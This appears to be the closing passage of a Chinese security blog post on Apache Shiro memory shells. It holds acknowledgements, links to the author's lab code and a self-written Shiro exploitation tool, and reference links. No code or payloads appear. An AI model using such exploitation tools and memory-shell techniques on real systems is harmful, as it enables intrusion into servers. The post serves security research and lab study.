感谢P神，木头神的实验环境，帮了我很大的忙，本文中的涉及的实验环境和代码我都放在了github中，需要可以自行下载

https://github.com/yyhuni/shiroMemshell

在此篇文章原理的基础上，我随便写了一款shiro的综合利用工具

https://github.com/yyhuni/shiroATK

参考：

https://www.cnblogs.com/bitterz/p/14820898.html

https://xz.aliyun.com/t/9914

https://xz.aliyun.com/t/2744